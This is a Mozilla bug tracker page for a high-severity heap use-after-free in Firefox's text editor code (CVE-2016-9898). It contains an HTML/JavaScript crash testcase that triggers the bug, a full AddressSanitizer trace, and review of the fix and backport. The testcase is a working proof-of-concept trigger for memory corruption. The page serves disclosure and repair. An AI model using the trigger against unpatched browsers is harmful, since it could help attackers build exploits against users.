Closed Bug 1314442 (CVE-2016-9898) Opened 8 years ago Closed 8 years ago

heap-use-after-free in nsTextEditorState::SetValue

Categories

(Core :: DOM: Editor, defect)

Product:
Core
Component:
DOM: Editor
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla53
Tracking Flags:
Tracking Status
firefox-esr45 50+ fixed
firefox50 + fixed
firefox51 + fixed
firefox52 + fixed
firefox53 + fixed

People

(Reporter: nils, Assigned: smaug)

References

Details

(Keywords: csectype-uaf, sec-high, Whiteboard: [adv-main50.1+][adv-esr45.6+])

Attachments

(2 files)

nac_editors.diff
3.42 KB, patch
masayuki
: review+
ritu
: approval-mozilla-aurora+
ritu
: approval-mozilla-beta+
ritu
: approval-mozilla-release+
ritu
: approval-mozilla-esr45+
abillings
: sec-approval+
Details | Diff | Splinter Review
esr45
3.27 KB, patch
Details | Diff | Splinter Review 
The following testcase crashes the latest ASAN build of Firefox (BuildID=20161101133138) as follows:

crash.html:

<script>
function start() {
        o21=document.createElement('body');
        o63=document.createElement('input');
        document.documentElement.appendChild(o63);
        document.body=o21;
        o63.setSelectionRange(6,1,'forward');
        document.designMode='on';
        o21.addEventListener('DOMSubtreeModified',f1);
        o63.value='0';
}
function f1() {
        o63.type='url';
}
</script>
<body onload="start()"></body>

ASAN output:

=================================================================
==18411==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000855a8 at pc 0x7fb30268522f bp 0x7fff6480baf0 sp 0x7fff6480bae8
READ of size 8 at 0x60e0000855a8 thread T0 (Web Content)
    #0 0x7fb30268522e in operator bool /home/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:750:45
    #1 0x7fb30268522e in nsTextEditorState::SetValue(nsAString_internal const&, unsigned int) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:2199
    #2 0x7fb3024b794a in mozilla::dom::HTMLInputElement::SetValueInternal(nsAString_internal const&, unsigned int) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:3267:14
    #3 0x7fb3024c5851 in mozilla::dom::HTMLInputElement::SetValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1994:9
    #4 0x7fb301bee5a7 in mozilla::dom::HTMLInputElementBinding::set_value(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLInputElement*, JSJitSetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLInputElementBinding.cpp:2258:3
    #5 0x7fb301e5d603 in mozilla::dom::GenericBindingSetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2825:8
    #6 0x7fb3081a456c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #7 0x7fb3081a456c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:446
    #8 0x7fb3081a6888 in Call /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:10
    #9 0x7fb3081a6888 in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:649
    #10 0x7fb30820f6ee in SetExistingProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2419:10
    #11 0x7fb30820f6ee in js::NativeSetProperty(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<jsid>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::QualifiedBool, JS::ObjectOpResult&) /home/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2454
    #12 0x7fb30817d574 in SetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1550:12
    #13 0x7fb30817d574 in SetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:258
    #14 0x7fb30817d574 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2715
    #15 0x7fb308169a33 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:404:12
    #16 0x7fb3081a4d84 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:476:15
    #17 0x7fb3081a57f2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:10
    #18 0x7fb307c75c0d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2827:12
    #19 0x7fb30188f93f in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:259:37
    #20 0x7fb3022a9981 in Call<nsISupports *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:361:12
    #21 0x7fb3022a9981 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214
    #22 0x7fb302275bbd in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1133:16
    #23 0x7fb30227717f in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:17
    #24 0x7fb3022617b6 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:380:5
    #25 0x7fb302265883 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:711:9
    #26 0x7fb304427e55 in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1001:7
    #27 0x7fb3051aa82e in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7554:5
    #28 0x7fb3051a66a4 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7358:7
    #29 0x7fb3051adbcf in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7255:13
    #30 0x7fb2ff2d3f40 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1255:3
    #31 0x7fb2ff2d2f08 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:840:5
    #32 0x7fb2ff2cfcbc in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:730:9
    #33 0x7fb2ff2d1d94 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:612:5
    #34 0x7fb2ff2d291c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:468:14
    #35 0x7fb2fd709e3b in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:633:18
    #36 0x7fb300284ecf in nsDocument::DoUnblockOnload() /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8597:7
    #37 0x7fb30031946f in nsUnblockOnloadEvent::Run() /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8550:5
    #38 0x7fb2fd531c4b in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1175:7
    #39 0x7fb2fd5b21bc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #40 0x7fb2fe300a1f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #41 0x7fb2fe273858 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #42 0x7fb2fe273858 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #43 0x7fb2fe273858 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #44 0x7fb303b43daf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #45 0x7fb305cbe5a7 in XRE_RunAppShell /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:869:12
    #46 0x7fb2fe273858 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #47 0x7fb2fe273858 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #48 0x7fb2fe273858 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #49 0x7fb305cbdae3 in XRE_InitChildProcess /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:701:7
    #50 0x4dfb2b in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:197:19
    #51 0x4dfb2b in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:392
    #52 0x7fb31896c82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #53 0x41ba08 in _start (/home/nils/MonkeyFarm/firefox/firefox+0x41ba08)

0x60e0000855a8 is located 40 bytes inside of 160-byte region [0x60e000085580,0x60e000085620)
freed by thread T0 (Web Content) here:
    #0 0x4b215b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7fb3024bde89 in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
    #2 0x7fb3024bde89 in FreeData /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1226
    #3 0x7fb3024bde89 in mozilla::dom::HTMLInputElement::HandleTypeChange(unsigned char) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:5099
    #4 0x7fb3024e7e2f in mozilla::dom::HTMLInputElement::ParseAttribute(int, nsIAtom*, nsAString_internal const&, nsAttrValue&) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:5683:9
    #5 0x7fb30005430f in mozilla::dom::Element::SetAttr(int, nsIAtom*, nsIAtom*, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/Element.cpp:2379:8
    #6 0x7fb302627233 in nsGenericHTMLElement::SetAttr(int, nsIAtom*, nsIAtom*, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/html/nsGenericHTMLElement.cpp:831:17
    #7 0x7fb301bed612 in SetAttr /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:487:12
    #8 0x7fb301bed612 in SetAttr /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:1115
    #9 0x7fb301bed612 in SetHTMLAttr /home/worker/workspace/build/src/dom/html/nsGenericHTMLElement.h:961
    #10 0x7fb301bed612 in SetType /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/HTMLInputElement.h:654
    #11 0x7fb301bed612 in mozilla::dom::HTMLInputElementBinding::set_type(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLInputElement*, JSJitSetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLInputElementBinding.cpp:2126
    #12 0x7fb301e5d603 in mozilla::dom::GenericBindingSetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2825:8
    #13 0x7fb3081a456c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #14 0x7fb3081a456c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:446
    #15 0x7fb3081a6888 in Call /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:10
    #16 0x7fb3081a6888 in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:649
    #17 0x7fb30820f6ee in SetExistingProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2419:10
    #18 0x7fb30820f6ee in js::NativeSetProperty(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<jsid>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::QualifiedBool, JS::ObjectOpResult&) /home/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2454
    #19 0x7fb30817d574 in SetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1550:12
    #20 0x7fb30817d574 in SetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:258
    #21 0x7fb30817d574 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2715
    #22 0x7fb308169a33 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:404:12
    #23 0x7fb3081a4d84 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:476:15
    #24 0x7fb3081a57f2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:10
    #25 0x7fb307c75c0d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2827:12
    #26 0x7fb301892e4c in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:47:8
    #27 0x7fb302275b72 in HandleEvent<mozilla::dom::EventTarget *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:64:12
    #28 0x7fb302275b72 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1129
    #29 0x7fb30227717f in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:17
    #30 0x7fb3022617b6 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:380:5
    #31 0x7fb302265883 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:711:9
    #32 0x7fb302267b5d in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:777:12
    #33 0x7fb300352cd1 in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /home/worker/workspace/build/src/dom/base/nsINode.cpp:1309:5
    #34 0x7fb302200f76 in mozilla::AsyncEventDispatcher::Run() /home/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:54:3
    #35 0x7fb2ffe769d1 in nsContentUtils::RemoveScriptBlocker() /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5194:5
    #36 0x7fb303df01e2 in applyImpl<mozilla::HTMLEditRules, void (mozilla::HTMLEditRules::*)()> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12
    #37 0x7fb303df01e2 in apply<mozilla::HTMLEditRules, void (mozilla::HTMLEditRules::*)()> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781
    #38 0x7fb303df01e2 in mozilla::detail::RunnableMethodImpl<void (mozilla::HTMLEditRules::*)(), true, false>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810
    #39 0x7fb2ffe769d1 in nsContentUtils::RemoveScriptBlocker() /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5194:5
    #40 0x7fb302684bcc in ~nsAutoScriptBlocker /home/worker/workspace/build/src/obj-firefox/dist/include/nsContentUtils.h:2853:5
    #41 0x7fb302684bcc in nsTextEditorState::SetValue(nsAString_internal const&, unsigned int) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:2176
    #42 0x7fb3024b794a in mozilla::dom::HTMLInputElement::SetValueInternal(nsAString_internal const&, unsigned int) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:3267:14
    #43 0x7fb3024c5851 in mozilla::dom::HTMLInputElement::SetValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1994:9
    #44 0x7fb301bee5a7 in mozilla::dom::HTMLInputElementBinding::set_value(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLInputElement*, JSJitSetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLInputElementBinding.cpp:2258:3

previously allocated by thread T0 (Web Content) here:
    #0 0x4b247b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4e0d6d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7fb3024b3fbf in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7fb3024b3fbf in mozilla::dom::HTMLInputElement::HTMLInputElement(already_AddRefed<mozilla::dom::NodeInfo>&, mozilla::dom::FromParser, mozilla::dom::HTMLInputElement::FromClone) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1193
    #4 0x7fb3024a4d5c in NS_NewHTMLInputElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:129:1
    #5 0x7fb30264097b in CreateHTMLElement /home/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:289:41
    #6 0x7fb30264097b in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser, nsAString_internal const*) /home/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:270
    #7 0x7fb30039c564 in NS_NewElement(mozilla::dom::Element**, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser, nsAString_internal const*) /home/worker/workspace/build/src/dom/base/nsNameSpaceManager.cpp:177:12
    #8 0x7fb30028026f in nsDocument::CreateElem(nsAString_internal const&, nsIAtom*, int, nsAString_internal const*) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8143:17
    #9 0x7fb3002628c1 in nsDocument::CreateElement(nsAString_internal const&, mozilla::dom::ElementCreationOptionsOrString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:5409:26
    #10 0x7fb3018bb4e7 in mozilla::dom::DocumentBinding::createElement(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:1010:53
    #11 0x7fb301e5de10 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2857:13
    #12 0x7fb3081a456c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #13 0x7fb3081a456c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:446
    #14 0x7fb308184875 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:509:12
    #15 0x7fb308184875 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922
    #16 0x7fb308169a33 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:404:12
    #17 0x7fb3081a4d84 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:476:15
    #18 0x7fb3081a57f2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:10
    #19 0x7fb307c75c0d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2827:12
    #20 0x7fb30188f93f in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:259:37
    #21 0x7fb3022a9981 in Call<nsISupports *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:361:12
    #22 0x7fb3022a9981 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214
    #23 0x7fb302275bbd in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1133:16
    #24 0x7fb30227717f in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:17
    #25 0x7fb3022617b6 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:380:5
    #26 0x7fb302265883 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:711:9
    #27 0x7fb304427e55 in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1001:7
    #28 0x7fb3051aa82e in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7554:5
    #29 0x7fb3051a66a4 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7358:7
    #30 0x7fb3051adbcf in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7255:13
    #31 0x7fb2ff2d3f40 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1255:3
    #32 0x7fb2ff2d2f08 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:840:5
    #33 0x7fb2ff2cfcbc in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:730:9
    #34 0x7fb2ff2d1d94 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:612:5

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:750:45 in operator bool
Shadow bytes around the buggy address:
  0x0c1c80008a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c80008a70: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c1c80008a80: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x0c1c80008a90: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c80008aa0: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
=>0x0c1c80008ab0: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd
  0x0c1c80008ac0: fd fd fd fd fa fa fa fa fa fa fa fa 00 00 00 00
  0x0c1c80008ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c1c80008ae0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c1c80008af0: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x0c1c80008b00: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==18411==ABORTING
Group: core-security → dom-core-security
Keywords: csectype-uaf, sec-high
Assignee: nobody → bugs
Attached patch nac_editors.diff — — Splinter Review 
This was after all an editor bug, not nsTextEditorState. 
Editor shouldn't observe changes happening in (native) anonymous subtrees, if they aren't rooted to such tree.
Attachment #8807693 - Flags: review?(masayuki)
Comment on attachment 8807693 [details] [diff] [review]
nac_editors.diff

>+bool
>+HTMLEditor::IsInObservedSubtree(nsIDocument* aDocument,
>+                                nsIContent* aContainer,
>+                                nsIContent* aChild)
>+{
>+  if (!aChild) {
>+    return false;
>+  }
>+
>+  Element* root = GetRoot();
>+  // To be super safe here, check both ChromeOnlyAccess and GetBindingParent.
>+  // That catches (also unbound) native anonymous content, XBL and ShadowDOM.
>+  if (root &&

Hmm, although, root should be always non-nullptr, if it's non-nullptr, this method should return false or crash for detecting a bug. But this is not a scope of this bug, up to you.

And different document such as contentDocument of iframe in a designMode document isn't editable. So, this must work as expected.

I wonder, who expects that mutant observer runs when its subtree is changed? It might be necessary to make the other observers check this first, e.g., IMEContentObserver.
Attachment #8807693 - Flags: review?(masayuki) → review+
Root may be null, I think, if documentElement has been removed from document.

IMEContentObserver doesn't end up modifying DOM, so at least this kind of crash shouldn't be possible there. But could you check if something should be fixed there and file a bug?
Flags: needinfo?(masayuki)
Comment on attachment 8807693 [details] [diff] [review]
nac_editors.diff

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
I would say more than trivial.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Commit message could be: "bug 1314442, limit editor's editability to the right subtree, r=masayuki"

Which older supported branches are affected by this flaw?
all

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
looks like esr45 needs a separate patch because of some file renames.

How likely is this patch to cause regressions; how much testing does it need?
Should be relatively safe.

String or UUID changes made by this patch: 
NA
Attachment #8807693 - Flags: sec-approval?
Attachment #8807693 - Flags: approval-mozilla-esr45?
Attachment #8807693 - Flags: approval-mozilla-beta?
Attachment #8807693 - Flags: approval-mozilla-aurora?
Attached patch esr45 — — Splinter Review 

    
    

    
  
(In reply to Olli Pettay [:smaug] from comment #3)
> Root may be null, I think, if documentElement has been removed from document.

If it may be nullptr, I think that early return is better. But it's okay you take either since it's not major problem anyway (it's more important to uplift as far as safer).

